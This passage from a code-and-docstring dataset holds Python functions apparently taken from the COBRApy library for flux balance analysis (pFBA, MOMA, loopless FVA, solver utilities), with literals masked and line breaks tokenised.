infeasible\n       loops from flux distributions. Desouki AA, Jarre F, Gelius-Dietrich\n       G, Lercher MJ. Bioinformatics. 2015 Jul 1;31(13):2159-65. doi:\n       10.1093/bioinformatics/btv096.", "id": "f15959:m2"}
{"signature": "def loopless_fva_iter(model, reaction, solution=False, zero_cutoff=None):", "body": "zero_cutoff = normalize_cutoff(model, zero_cutoff)<EOL>current = model.objective.value<EOL>sol = get_solution(model)<EOL>objective_dir = model.objective.direction<EOL>if reaction.boundary:<EOL><INDENT>if solution:<EOL><INDENT>return sol<EOL><DEDENT>else:<EOL><INDENT>return current<EOL><DEDENT><DEDENT>with model:<EOL><INDENT>_add_cycle_free(model, sol.fluxes)<EOL>model.slim_optimize()<EOL>if abs(reaction.flux - current) < zero_cutoff:<EOL><INDENT>if solution:<EOL><INDENT>return sol<EOL><DEDENT>return current<EOL><DEDENT>ll_sol = get_solution(model).fluxes<EOL>reaction.bounds = (current, current)<EOL>model.slim_optimize()<EOL>almost_ll_sol = get_solution(model).fluxes<EOL><DEDENT>with model:<EOL><INDENT>for rxn in model.reactions:<EOL><INDENT>rid = rxn.id<EOL>if ((abs(ll_sol[rid]) < zero_cutoff) and<EOL>(abs(almost_ll_sol[rid]) > zero_cutoff)):<EOL><INDENT>rxn.bounds = max(<NUM_LIT:0>, rxn.lower_bound), min(<NUM_LIT:0>, rxn.upper_bound)<EOL><DEDENT><DEDENT>if solution:<EOL><INDENT>best = model.optimize()<EOL><DEDENT>else:<EOL><INDENT>model.slim_optimize()<EOL>best = reaction.flux<EOL><DEDENT><DEDENT>model.objective.direction = objective_dir<EOL>return best<EOL>", "docstring": "Plugin to get a loopless FVA solution from single FVA iteration.\n\n    Assumes the following about `model` and `reaction`:\n    1. the model objective is set to be `reaction`\n    2. the model has been optimized and contains the minimum/maximum flux for\n       `reaction`\n    3. the model contains an auxiliary variable called \"fva_old_objective\"\n       denoting the previous objective\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to be used.\n    reaction : cobra.Reaction\n        The reaction currently minimized/maximized.\n    solution : boolean, optional\n        Whether to return the entire solution or only the minimum/maximum for\n        `reaction`.\n    zero_cutoff : positive float, optional\n        Cutoff used for loop removal. Fluxes with an absolute value smaller\n        than `zero_cutoff` are considered to be zero (default model.tolerance).\n\n    Returns\n    -------\n    single float or dict\n        Returns the minimized/maximized flux through `reaction` if\n        all_fluxes == False (default). Otherwise returns a loopless flux\n        solution containing the minimum/maximum flux for `reaction`.", "id": "f15959:m3"}
{"signature": "def pfba(model, fraction_of_optimum=<NUM_LIT:1.0>, objective=None, reactions=None):", "body": "reactions = model.reactions if reactions is Noneelse model.reactions.get_by_any(reactions)<EOL>with model as m:<EOL><INDENT>add_pfba(m, objective=objective,<EOL>fraction_of_optimum=fraction_of_optimum)<EOL>m.slim_optimize(error_value=None)<EOL>solution = get_solution(m, reactions=reactions)<EOL><DEDENT>return solution<EOL>", "docstring": "Perform basic pFBA (parsimonious Enzyme Usage Flux Balance Analysis)\n    to minimize total flux.\n\n    pFBA [1] adds the minimization of all fluxes the the objective of the\n    model. This approach is motivated by the idea that high fluxes have a\n    higher enzyme turn-over and that since producing enzymes is costly,\n    the cell will try to minimize overall flux while still maximizing the\n    original objective function, e.g. the growth rate.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model\n    fraction_of_optimum : float, optional\n        Fraction of optimum which must be maintained. The original objective\n        reaction is constrained to be greater than maximal_value *\n        fraction_of_optimum.\n    objective : dict or model.problem.Objective\n        A desired objective to use during optimization in addition to the\n        pFBA objective. Dictionaries (reaction as key, coefficient as value)\n        can be used for linear objectives.\n    reactions : iterable\n        List of reactions or reaction identifiers. Implies `return_frame` to\n        be true. Only return fluxes for the given reactions. Faster than\n        fetching all fluxes if only a few are needed.\n\n    Returns\n    -------\n    cobra.Solution\n        The solution object to the optimized model with pFBA constraints added.\n\n    References\n    ----------\n    .. [1] Lewis, N. E., Hixson, K. K., Conrad, T. M., Lerman, J. A.,\n       Charusanti, P., Polpitiya, A. D., Palsson, B. O. (2010). Omic data\n       from evolved E. coli are consistent with computed optimal growth from\n       genome-scale models. Molecular Systems Biology, 6,\n       390. doi:10.1038/msb.2010.47", "id": "f15960:m1"}
{"signature": "def add_pfba(model, objective=None, fraction_of_optimum=<NUM_LIT:1.0>):", "body": "if objective is not None:<EOL><INDENT>model.objective = objective<EOL><DEDENT>if model.solver.objective.name == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>sutil.fix_objective_as_constraint(model, fraction=fraction_of_optimum)<EOL>reaction_variables = ((rxn.forward_variable, rxn.reverse_variable)<EOL>for rxn in model.reactions)<EOL>variables = chain(*reaction_variables)<EOL>model.objective = model.problem.Objective(<EOL>Zero, direction='<STR_LIT>', sloppy=True, name=\"<STR_LIT>\")<EOL>model.objective.set_linear_coefficients({v: <NUM_LIT:1.0> for v in variables})<EOL>", "docstring": "Add pFBA objective\n\n    Add objective to minimize the summed flux of all reactions to the\n    current objective.\n\n    See Also\n    -------\n    pfba\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to add the objective to\n    objective :\n        An objective to set in combination with the pFBA objective.\n    fraction_of_optimum : float\n        Fraction of optimum which must be maintained. The original objective\n        reaction is constrained to be greater than maximal_value *\n        fraction_of_optimum.", "id": "f15960:m2"}
{"signature": "def moma(model, solution=None, linear=True):", "body": "with model:<EOL><INDENT>add_moma(model=model, solution=solution, linear=linear)<EOL>solution = model.optimize()<EOL><DEDENT>return solution<EOL>", "docstring": "Compute a single solution based on (linear) MOMA.\n\nCompute a new flux distribution that is at a minimal distance to a\nprevious reference solution. Minimization of metabolic adjustment (MOMA) is\ngenerally used to assess the impact\nof knock-outs. Thus the typical usage is to provide a wildtype flux\ndistribution as reference and a model in knock-out state.\n\nParameters\n----------\nmodel : cobra.Model\n    The model state to compute a MOMA-based solution for.\nsolution : cobra.Solution, optional\n    A (wildtype) reference solution.\nlinear : bool, optional\n    Whether to use the linear MOMA formulation or not (default True).\n\nReturns\n-------\ncobra.Solution\n    A flux distribution that is at a minimal distance compared to the\n    reference solution.\n\nSee Also\n--------\nadd_moma : add MOMA constraints and objective", "id": "f15961:m0"}
{"signature": "def add_moma(model, solution=None, linear=True):", "body": "if '<STR_LIT>' in model.solver.variables:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not linear:<EOL><INDENT>model.solver = sutil.choose_solver(model, qp=True)<EOL><DEDENT>if solution is None:<EOL><INDENT>solution = pfba(model)<EOL><DEDENT>prob = model.problem<EOL>v = prob.Variable(\"<STR_LIT>\")<EOL>c = prob.Constraint(model.solver.objective.expression - v,<EOL>lb=<NUM_LIT:0.0>, ub=<NUM_LIT:0.0>, name=\"<STR_LIT>\")<EOL>to_add = [v, c]<EOL>model.objective = prob.Objective(Zero, direction=\"<STR_LIT>\", sloppy=True)<EOL>obj_vars = []<EOL>for r in model.reactions:<EOL><INDENT>flux = solution.fluxes[r.id]<EOL>if linear:<EOL><INDENT>components = sutil.add_absolute_expression(<EOL>model, r.flux_expression, name=\"<STR_LIT>\" + r.id,<EOL>difference=flux, add=False)<EOL>to_add.extend(components)<EOL>obj_vars.append(components.variable)<EOL><DEDENT>else:<EOL><INDENT>dist = prob.Variable(\"<STR_LIT>\" + r.id)<EOL>const = prob.Constraint(r.flux_expression - dist, lb=flux, ub=flux,<EOL>name=\"<STR_LIT>\" + r.id)<EOL>to_add.extend([dist, const])<EOL>obj_vars.append(dist ** <NUM_LIT:2>)<EOL><DEDENT><DEDENT>model.add_cons_vars(to_add)<EOL>if linear:<EOL><INDENT>model.objective.set_linear_coefficients({v: <NUM_LIT:1.0> for v in obj_vars})<EOL><DEDENT>else:<EOL><INDENT>model.objective = prob.Objective(<EOL>add(obj_vars), direction=\"<STR_LIT>\", sloppy=True)<EOL><DEDENT>", "docstring": "r\"\"\"Add constraints and objective representing for MOMA.\n\n    This adds variables and constraints for the minimization of metabolic\n    adjustment (MOMA) to the model.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to add MOMA constraints and objective to.\n    solution : cobra.Solution, optional\n        A previous solution to use as a reference. If no solution is given,\n        one will be computed using pFBA.\n    linear : bool, optional\n        Whether to use the linear MOMA formulation or not (default True).\n\n    Notes\n    -----\n    In the original MOMA [1]_ specification one looks for the flux distribution\n    of the deletion (v^d) closest to the fluxes without the deletion (v).\n    In math this means:\n\n    minimize \\sum_i (v^d_i - v_i)^2\n    s.t. Sv^d = 0\n         lb_i <= v^d_i <= ub_i\n\n    Here, we use a variable transformation v^t := v^d_i - v_i. Substituting\n    and using the fact that Sv = 0 gives:\n\n    minimize \\sum_i (v^t_i)^2\n    s.t. Sv^d = 0\n         v^t = v^d_i - v_i\n         lb_i <= v^d_i <= ub_i\n\n    So basically we just re-center the flux space at the old solution and then\n    find the flux distribution closest to the new zero (center). This is the\n    same strategy as used in cameo.\n\n    In the case of linear MOMA [2]_, we instead minimize \\sum_i abs(v^t_i). The\n    linear MOMA is typically significantly faster. Also quadratic MOMA tends\n    to give flux distributions in which all fluxes deviate from the reference\n    fluxes a little bit whereas linear MOMA tends to give flux distributions\n    where the majority of fluxes are the same reference with few fluxes\n    deviating a lot (typical effect of L2 norm vs L1 norm).\n\n    The former objective function is saved in the optlang solver interface as\n    ``\"moma_old_objective\"`` and this can be used to immediately extract the\n    value of the former objective after MOMA optimization.\n\n    See Also\n    --------\n    pfba : parsimonious FBA\n\n    References\n    ----------\n    .. [1] Segr\u00e8, Daniel, Dennis Vitkup, and George M. Church. \u201cAnalysis of\n           Optimality in Natural and Perturbed Metabolic Networks.\u201d\n           Proceedings of the National Academy of Sciences 99, no. 23\n           (November 12, 2002): 15112. https://doi.org/10.1073/pnas.232349399.\n    .. [2] Becker, Scott A, Adam M Feist, Monica L Mo, Gregory Hannum,\n           Bernhard \u00d8 Palsson, and Markus J Herrgard. \u201cQuantitative\n           Prediction of Cellular Metabolism with Constraint-Based Models:\n           The COBRA Toolbox.\u201d Nature Protocols 2 (March 29, 2007): 727.", "id": "f15961:m1"}
{"signature": "def show_versions():", "body": "print_dependencies(\"<STR_LIT>\")<EOL>", "docstring": "Print dependency information.", "id": "f15962:m1"}
{"signature": "def linear_reaction_coefficients(model, reactions=None):", "body": "linear_coefficients = {}<EOL>reactions = model.reactions if not reactions else reactions<EOL>try:<EOL><INDENT>objective_expression = model.solver.objective.expression<EOL>coefficients = objective_expression.as_coefficients_dict()<EOL><DEDENT>except AttributeError:<EOL><INDENT>return linear_coefficients<EOL><DEDENT>for rxn in reactions:<EOL><INDENT>forward_coefficient = coefficients.get(rxn.forward_variable, <NUM_LIT:0>)<EOL>reverse_coefficient = coefficients.get(rxn.reverse_variable, <NUM_LIT:0>)<EOL>if forward_coefficient != <NUM_LIT:0>:<EOL><INDENT>if forward_coefficient == -reverse_coefficient:<EOL><INDENT>linear_coefficients[rxn] = float(forward_coefficient)<EOL><DEDENT><DEDENT><DEDENT>return linear_coefficients<EOL>", "docstring": "Coefficient for the reactions in a linear objective.\n\n    Parameters\n    ----------\n    model : cobra model\n        the model object that defined the objective\n    reactions : list\n        an optional list for the reactions to get the coefficients for. All\n        reactions if left missing.\n\n    Returns\n    -------\n    dict\n        A dictionary where the key is the reaction object and the value is\n        the corresponding coefficient. Empty dictionary if there are no\n        linear terms in the objective.", "id": "f15963:m0"}
{"signature": "def _valid_atoms(model, expression):", "body": "atoms = expression.atoms(optlang.interface.Variable)<EOL>return all(a.problem is model.solver for a in atoms)<EOL>", "docstring": "Check whether a sympy expression references the correct variables.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model in which to check for variables.\n    expression : sympy.Basic\n        A sympy expression.\n\n    Returns\n    -------\n    boolean\n        True if all referenced variables are contained in model, False\n        otherwise.", "id": "f15963:m1"}
{"signature": "def set_objective(model, value, additive=False):", "body": "interface = model.problem<EOL>reverse_value = model.solver.objective.expression<EOL>reverse_value = interface.Objective(<EOL>reverse_value, direction=model.solver.objective.direction,<EOL>sloppy=True)<EOL>if isinstance(value, dict):<EOL><INDENT>if not model.objective.is_Linear:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>type(value))<EOL><DEDENT>if not additive:<EOL><INDENT>model.solver.objective = interface.Objective(<EOL>Zero, direction=model.solver.objective.direction)<EOL><DEDENT>for reaction, coef in value.items():<EOL><INDENT>model.solver.objective.set_linear_coefficients(<EOL>{reaction.forward_variable: coef,<EOL>reaction.reverse_variable: -coef})<EOL><DEDENT><DEDENT>elif isinstance(value, (Basic, optlang.interface.Objective)):<EOL><INDENT>if isinstance(value, Basic):<EOL><INDENT>value = interface.Objective(<EOL>value, direction=model.solver.objective.direction,<EOL>sloppy=False)<EOL><DEDENT>if not _valid_atoms(model, value.expression):<EOL><INDENT>value = interface.Objective.clone(value, model=model.solver)<EOL><DEDENT>if not additive:<EOL><INDENT>model.solver.objective = value<EOL><DEDENT>else:<EOL><INDENT>model.solver.objective += value.expression<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>' % (value, model.solver))<EOL><DEDENT>context = get_context(model)<EOL>if context:<EOL><INDENT>def reset():<EOL><INDENT>model.solver.objective = reverse_value<EOL>model.solver.objective.direction = reverse_value.direction<EOL><DEDENT>context(reset)<EOL><DEDENT>", "docstring": "Set the model objective.\n\n    Parameters\n    ----------\n    model : cobra model\n       The model to set the objective for\n    value : model.problem.Objective,\n            e.g. optlang.glpk_interface.Objective, sympy.Basic or dict\n\n        If the model objective is linear, the value can be a new Objective\n        object or a dictionary with linear coefficients where each key is a\n        reaction and the element the new coefficient (float).\n\n        If the objective is not linear and `additive` is true, only values\n        of class Objective.\n\n    additive : boolmodel.reactions.Biomass_Ecoli_core.bounds = (0.1, 0.1)\n        If true, add the terms to the current objective, otherwise start with\n        an empty objective.", "id": "f15963:m2"}
{"signature": "def interface_to_str(interface):", "body": "if isinstance(interface, ModuleType):<EOL><INDENT>interface = interface.__name__<EOL><DEDENT>return re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", interface)<EOL>", "docstring": "Give a string representation for an optlang interface.\n\n    Parameters\n    ----------\n    interface : string, ModuleType\n        Full name of the interface in optlang or cobra representation.\n        For instance 'optlang.glpk_interface' or 'optlang-glpk'.\n\n    Returns\n    -------\n    string\n       The name of the interface as a string", "id": "f15963:m3"}
{"signature": "def get_solver_name(mip=False, qp=False):", "body": "if len(solvers) == <NUM_LIT:0>:<EOL><INDENT>raise SolverNotFound(\"<STR_LIT>\")<EOL><DEDENT>mip_order = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>lp_order = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>qp_order = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>if mip is False and qp is False:<EOL><INDENT>for solver_name in lp_order:<EOL><INDENT>if solver_name in solvers:<EOL><INDENT>return solver_name<EOL><DEDENT><DEDENT>return list(solvers)[<NUM_LIT:0>]<EOL><DEDENT>elif qp:  <EOL><INDENT>for solver_name in qp_order:<EOL><INDENT>if solver_name in solvers:<EOL><INDENT>return solver_name<EOL><DEDENT><DEDENT>raise SolverNotFound(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>for solver_name in mip_order:<EOL><INDENT>if solver_name in solvers:<EOL><INDENT>return solver_name<EOL><DEDENT><DEDENT><DEDENT>raise SolverNotFound(\"<STR_LIT>\")<EOL>", "docstring": "Select a solver for a given optimization problem.\n\n    Parameters\n    ----------\n    mip : bool\n        Does the solver require mixed integer linear programming capabilities?\n    qp : bool\n        Does the solver require quadratic programming capabilities?\n\n    Returns\n    -------\n    string\n        The name of feasible solver.\n\n    Raises\n    ------\n    SolverNotFound\n        If no suitable solver could be found.", "id": "f15963:m4"}
{"signature": "def choose_solver(model, solver=None, qp=False):", "body": "if solver is None:<EOL><INDENT>solver = model.problem<EOL><DEDENT>else:<EOL><INDENT>model.solver = solver<EOL><DEDENT>if qp and interface_to_str(solver) not in qp_solvers:<EOL><INDENT>solver = solvers[get_solver_name(qp=True)]<EOL><DEDENT>return solver<EOL>", "docstring": "Choose a solver given a solver name and model.\n\n    This will choose a solver compatible with the model and required\n    capabilities. Also respects model.solver where it can.\n\n    Parameters\n    ----------\n    model : a cobra model\n        The model for which to choose the solver.\n    solver : str, optional\n        The name of the solver to be used.\n    qp : boolean, optional\n        Whether the solver needs Quadratic Programming capabilities.\n\n    Returns\n    -------\n    solver : an optlang solver interface\n        Returns a valid solver for the problem.\n\n    Raises\n    ------\n    SolverNotFound\n        If no suitable solver could be found.", "id": "f15963:m5"}
{"signature": "def add_cons_vars_to_problem(model, what, **kwargs):", "body": "context = get_context(model)<EOL>model.solver.add(what, **kwargs)<EOL>if context:<EOL><INDENT>context(partial(model.solver.remove, what))<EOL><DEDENT>", "docstring": "Add variables and constraints to a Model's solver object.\n\n    Useful for variables and constraints that can not be expressed with\n    reactions and lower/upper bounds. Will integrate with the Model's context\n    manager in order to revert changes upon leaving the context.\n\n    Parameters\n    ----------\n    model : a cobra model\n       The model to which to add the variables and constraints.\n    what : list or tuple of optlang variables or constraints.\n       The variables or constraints to add to the model. Must be of class\n       `model.problem.Variable` or\n       `model.problem.Constraint`.\n    **kwargs : keyword arguments\n        passed to solver.add()", "id": "f15963:m6"}
{"signature": "def remove_cons_vars_from_problem(model, what):", "body": "context = get_context(model)<EOL>model.solver.remove(what)<EOL>if context:<EOL><INDENT>context(partial(model.solver.add, what))<EOL><DEDENT>", "docstring": "Remove variables and constraints from a Model's solver object.\n\n    Useful to temporarily remove variables and constraints from a Models's\n    solver object.\n\n    Parameters\n    ----------\n    model : a cobra model\n       The model from which to remove the variables and constraints.\n    what : list or tuple of optlang variables or constraints.\n       The variables or constraints to remove from the model. Must be of\n       class `model.problem.Variable` or\n       `model.problem.Constraint`.", "id": "f15963:m7"}
{"signature": "def add_absolute_expression(model, expression, name=\"<STR_LIT>\", ub=None,<EOL>difference=<NUM_LIT:0>, add=True):", "body": "Components = namedtuple('<STR_LIT>', ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'])<EOL>variable = model.problem.Variable(name, lb=<NUM_LIT:0>, ub=ub)<EOL>upper_constraint = model.problem.Constraint(expression - variable,<EOL>ub=difference,<EOL>name=\"<STR_LIT>\" + name),<EOL>lower_constraint = model.problem.Constraint(expression + variable,<EOL>lb=difference,<EOL>name=\"<STR_LIT>\" + name)<EOL>to_add = Components(variable, upper_constraint, lower_constraint)<EOL>if add:<EOL><INDENT>add_cons_vars_to_problem(model, to_add)<EOL><DEDENT>return to_add<EOL>", "docstring": "Add the absolute value of an expression to the model.\n\n    Also defines a variable for the absolute value that can be used in other\n    objectives or constraints.\n\n    Parameters\n    ----------\n    model : a cobra model\n       The model to which to add the absolute expression.\n    expression : A sympy expression\n       Must be a valid expression within the Model's solver object. The\n       absolute value is applied automatically on the expression.\n    name : string\n       The name of the newly created variable.\n    ub : positive float\n       The upper bound for the variable.\n    difference : positive float\n        The difference between the expression and the variable.\n    add : bool\n        Whether to add the variable to the model at once.\n\n    Returns\n    -------\n    namedtuple\n        A named tuple with variable and two constraints (upper_constraint,\n        lower_constraint) describing the new variable and the constraints\n        that assign the absolute value of the expression to it.", "id": "f15963:m8"}
{"signature": "def fix_objective_as_constraint(model, fraction=<NUM_LIT:1>, bound=None,<EOL>name='<STR_LIT>'):", "body": "fix_objective_name = name.format(model.objective.name)<EOL>if fix_objective_name in model.constraints:<EOL><INDENT>model.solver.remove(fix_objective_name)<EOL><DEDENT>if bound is None:<EOL><INDENT>bound = model.slim_optimize(error_value=None) * fraction<EOL><DEDENT>if model.objective.direction == '<STR_LIT>':<EOL><INDENT>ub, lb = None, bound<EOL><DEDENT>else:<EOL><INDENT>ub, lb = bound, None<EOL><DEDENT>constraint = model.problem.Constraint(<EOL>model.objective.expression,<EOL>name=fix_objective_name, ub=ub, lb=lb)<EOL>add_cons_vars_to_problem(model, constraint, sloppy=True)<EOL>return bound<EOL>", "docstring": "Fix current objective as an additional constraint.\n\n    When adding constraints to a model, such as done in pFBA which\n    minimizes total flux, these constraints can become too powerful,\n    resulting in solutions that satisfy optimality but sacrifices too\n    much for the original objective function. To avoid that, we can fix\n    the current objective value as a constraint to ignore solutions that\n    give a lower (or higher depending on the optimization direction)\n    objective value than the original model.\n\n    When done with the model as a context, the modification to the\n    objective will be reverted when exiting that context.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to operate on\n    fraction : float\n        The fraction of the optimum the objective is allowed to reach.\n    bound : float, None\n        The bound to use instead of fraction of maximum optimal value. If\n        not None, fraction is ignored.\n    name : str\n        Name of the objective. May contain one `{}` placeholder which is filled\n        with the name of the old objective.\n\n    Returns\n    -------\n        The value of the optimized objective * fraction", "id": "f15963:m9"}
{"signature": "def check_solver_status(status, raise_error=False):", "body": "if status == OPTIMAL:<EOL><INDENT>return<EOL><DEDENT>elif (status in has_primals) and not raise_error:<EOL><INDENT>warn(\"<STR_LIT>\".format(status), UserWarning)<EOL><DEDENT>elif status is None:<EOL><INDENT>raise OptimizationError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise OptimizationError(\"<STR_LIT>\".format(status))<EOL><DEDENT>", "docstring": "Perform standard checks on a solver's status.", "id": "f15963:m10"}
{"signature": "def assert_optimal(model, message='<STR_LIT>'):", "body": "status = model.solver.status<EOL>if status != OPTIMAL:<EOL><INDENT>exception_cls = OPTLANG_TO_EXCEPTIONS_DICT.get(<EOL>status, OptimizationError)<EOL>raise exception_cls(\"<STR_LIT>\".format(message, status))<EOL><DEDENT>", "docstring": "Assert model solver status is optimal.\n\n    Do nothing if model solver status is optimal, otherwise throw\n    appropriate exception depending on the status.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to check the solver status for.\n    message : str (optional)\n        Message to for the exception if solver status was not optimal.", "id": "f15963:m11"}
{"signature": "def add_lp_feasibility(model):", "body": "obj_vars = []<EOL>prob = model.problem<EOL>for met in model.metabolites:<EOL><INDENT>s_plus = prob.Variable(\"<STR_LIT>\" + met.id, lb=<NUM_LIT:0>)<EOL>s_minus = prob.Variable(\"<STR_LIT>\" + met.id, lb=<NUM_LIT:0>)<EOL>model.add_cons_vars([s_plus, s_minus])<EOL>model.constraints[met.id].set_linear_coefficients(<EOL>{s_plus: <NUM_LIT:1.0>, s_minus: -<NUM_LIT:1.0>})<EOL>obj_vars.append(s_plus)<EOL>obj_vars.append(s_minus)<EOL><DEDENT>model.objective = prob.Objective(Zero, sloppy=True, direction=\"<STR_LIT>\")<EOL>model.objective.set_linear_coefficients({v: <NUM_LIT:1.0> for v in obj_vars})<EOL>", "docstring": "Add a new objective and variables to ensure a feasible solution.\n\nThe optimized objective will be zero for a feasible solution and otherwise\nrepresent the distance from feasibility (please see [1]_ for more\ninformation).\n\nParameters\n----------\nmodel : cobra.Model\n    The model whose feasibility is to be tested.\n\nReferences\n----------\n.. [1] Gomez, Jose A., Kai H\u00f6ffner, and Paul I. Barton.\n\u201cDFBAlab: A Fast and Reliable MATLAB Code for Dynamic Flux Balance\nAnalysis.\u201d BMC Bioinformatics 15, no. 1 (December 18, 2014): 409.\nhttps://doi.org/10.1186/s12859-014-0409-8.", "id": "f15963:m12"}
{"signature": "def add_lexicographic_constraints(model,<EOL>objectives,<EOL>objective_direction='<STR_LIT>'):", "body": "if type(objective_direction) is not list:<EOL><INDENT>objective_direction = [objective_direction] * len(objectives)<EOL><DEDENT>constraints = []<EOL>for rxn_id, obj_dir in zip(objectives, objective_direction):<EOL><INDENT>model.objective = model.reactions.get_by_id(rxn_id)<EOL>model.objective_direction = obj_dir<EOL>constraints.append(fix_objective_as_constraint(model))<EOL><DEDENT>return pd.Series(constraints, index=objectives)<EOL>", "docstring": "Successively optimize separate targets in a specific order.\n\nFor each objective, optimize the model and set the optimal value as a\nconstraint. Proceed in the order of the objectives given. Due to the\nspecific order this is called lexicographic FBA [1]_. This\nprocedure is useful for returning unique solutions for a set of important\nfluxes. Typically this is applied to exchange fluxes.\n\nParameters\n----------\nmodel : cobra.Model\n    The model to be optimized.\nobjectives : list\n    A list of reactions (or objectives) in the model for which unique\n    fluxes are to be determined.\nobjective_direction : str or list, optional\n    The desired objective direction for each reaction (if a list) or the\n    objective direction to use for all reactions (default maximize).\n\nReturns\n-------\noptimized_fluxes : pandas.Series\n    A vector containing the optimized fluxes for each of the given\n    reactions in `objectives`.\n\nReferences\n----------\n.. [1] Gomez, Jose A., Kai H\u00f6ffner, and Paul I. Barton.\n\u201cDFBAlab: A Fast and Reliable MATLAB Code for Dynamic Flux Balance\nAnalysis.\u201d BMC Bioinformatics 15, no. 1 (December 18, 2014): 409.\nhttps://doi.org/10.1186/s12859-014-0409-8.", "id": "f15963:m13"}
{"signature": "def get_context(obj):", "body": "try:<EOL><INDENT>return obj._contexts[-<NUM_LIT:1>]<EOL><DEDENT>except (AttributeError, IndexError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return obj._model._contexts[-<NUM_LIT:1>]<EOL><DEDENT>except (AttributeError, IndexError):<EOL><INDENT>pass<EOL><DEDENT>return None<EOL>", "docstring": "Search for a context manager", "id": "f15964:m0"}
{"signature": "def resettable(f):", "body": "def wrapper(self, new_value):<EOL><INDENT>context = get_context(self)<EOL>if context:<EOL><INDENT>old_value = getattr(self, f.__name__)<EOL>if old_value == new_value:<EOL><INDENT>return<EOL><DEDENT>context(partial(f, self, old_value))<EOL><DEDENT>f(self, new_value)<EOL><DEDENT>return wrapper<EOL>", "docstring": "A decorator to simplify the context management of simple object\n    attributes. Gets the value of the attribute prior to setting it, and stores\n    a function to set the value to the old value in the HistoryManager.", "id": "f15964:m1"}
{"signature": "def __call__(self, operation):", "body": "self._history.append(operation)<EOL>", "docstring": "Add the corresponding method to the history stack.\n\n        Parameters\n        ----------\n        operation : `function`\n            A function to be called at a later time", "id": "f15964:c0:m1"}
{"signature": "def reset(self):", "body": "while self._history:<EOL><INDENT>entry = self._history.pop()<EOL>entry()<EOL><DEDENT>", "docstring": "Trigger executions for all items in the stack in reverse order", "id": "f15964:c0:m2"}
{"signature": "def create_stoichiometric_matrix(model, array_type='<STR_LIT>', dtype=None):", "body": "if array_type not in ('<STR_LIT>', '<STR_LIT>') and not dok_matrix:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if dtype is None:<EOL><INDENT>dtype = np.float64<EOL><DEDENT>array_constructor = {<EOL>'<STR_LIT>': np.zeros, '<STR_LIT>': dok_matrix, '<STR_LIT>': lil_matrix,<EOL>'<STR_LIT>': np.zeros,<EOL>}<EOL>n_metabolites = len(model.metabolites)<EOL>n_reactions = len(model.reactions)<EOL>array = array_constructor[array_type]((n_metabolites, n_reactions),<EOL>dtype=dtype)<EOL>m_ind = model.metabolites.index<EOL>r_ind = model.reactions.index<EOL>for reaction in model.reactions:<EOL><INDENT>for metabolite, stoich in iteritems(reaction.metabolites):<EOL><INDENT>array[m_ind(metabolite), r_ind(reaction)] = stoich<EOL><DEDENT><DEDENT>if array_type == '<STR_LIT>':<EOL><INDENT>metabolite_ids = [met.id for met in model.metabolites]<EOL>reaction_ids = [rxn.id for rxn in model.reactions]<EOL>return pd.DataFrame(array, index=metabolite_ids, columns=reaction_ids)<EOL><DEDENT>else:<EOL><INDENT>return array<EOL><DEDENT>", "docstring": "Return a stoichiometric array representation of the given model.\n\n    The the columns represent the reactions and rows represent\n    metabolites. S[i,j] therefore contains the quantity of metabolite `i`\n    produced (negative for consumed) by reaction `j`.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The cobra model to construct the matrix for.\n    array_type : string\n        The type of array to construct. if 'dense', return a standard\n        numpy.array, 'dok', or 'lil' will construct a sparse array using\n        scipy of the corresponding type and 'DataFrame' will give a\n        pandas `DataFrame` with metabolite indices and reaction columns\n    dtype : data-type\n        The desired data-type for the array. If not given, defaults to float.\n\n    Returns\n    -------\n    matrix of class `dtype`\n        The stoichiometric matrix for the given model.", "id": "f15966:m0"}
{"signature": "def nullspace(A, atol=<NUM_LIT>, rtol=<NUM_LIT:0>):", "body": "A = np.atleast_2d(A)<EOL>u, s, vh = np.linalg.svd(A)<EOL>tol = max(atol, rtol * s[<NUM_LIT:0>])<EOL>nnz = (s >= tol).sum()<EOL>ns = vh[nnz:].conj().T<EOL>return ns<EOL>", "docstring": "Compute an approximate basis for the nullspace of A.\n    The algorithm used by this function is based on the singular value\n    decomposition of `A`.\n\n    Parameters\n    ----------\n    A : numpy.ndarray\n        A should be at most 2-D.  A 1-D array with length k will be treated\n        as a 2-D with shape (1, k)\n    atol : float\n        The absolute tolerance for a zero singular value.  Singular values\n        smaller than `atol` are considered to be zero.\n    rtol : float\n        The relative tolerance.  Singular values less than rtol*smax are\n        considered to be zero, where smax is the largest singular value.\n\n    If both `atol` and `rtol` are positive, the combined tolerance is the\n    maximum of the two; that is::\n    tol = max(atol, rtol * smax)\n    Singular values smaller than `tol` are considered to be zero.\n\n    Returns\n    -------\n    numpy.ndarray\n        If `A` is an array with shape (m, k), then `ns` will be an array\n        with shape (k, n), where n is the estimated dimension of the\n        nullspace of `A`.  The columns of `ns` are a basis for the\n        nullspace; each element in numpy.dot(A, ns) will be approximately\n        zero.\n\n    Notes\n    -----\n    Taken from the numpy cookbook.", "id": "f15966:m1"}
